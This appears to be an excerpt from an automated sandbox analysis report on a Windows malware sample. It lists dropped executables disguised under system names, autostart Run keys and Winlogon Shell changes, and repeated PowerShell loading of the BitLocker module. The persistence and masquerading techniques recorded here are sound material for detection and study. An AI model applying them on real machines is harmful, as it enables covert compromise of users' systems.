Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	File created: C:\Program Files\Everything\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\hwphVFJE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\qeIxFhOl.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\apppatch\CustomSDB\sihost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\phhpjhAr.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\ANcNpKUT.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\qeIxFhOl.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\hwphVFJE.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\otdhyUEt.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Users\user\Desktop\dFyrOIJL.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\GEAmOcnc.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\pGGHecbL.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\fXnruzVd.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\WteBKGGw.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\utYFHYqz.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File created: C:\Users\user\Desktop\TDoLDJFD.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\License.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	File created: C:\Program Files\Everything\License.txt			Jump to behavior

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost
Source: C:\Program Files\Everything\Everything.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Everything	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerwebruntime

Source: C:\Program Files\Everything\Everything.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Everything.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D475670 StartServiceCtrlDispatcherW,

6_2_00007FF63D475670

Source: C:\Program Files\Everything\Everything.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Everything	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Everything	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sihost
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerwebruntime
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerwebruntime
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
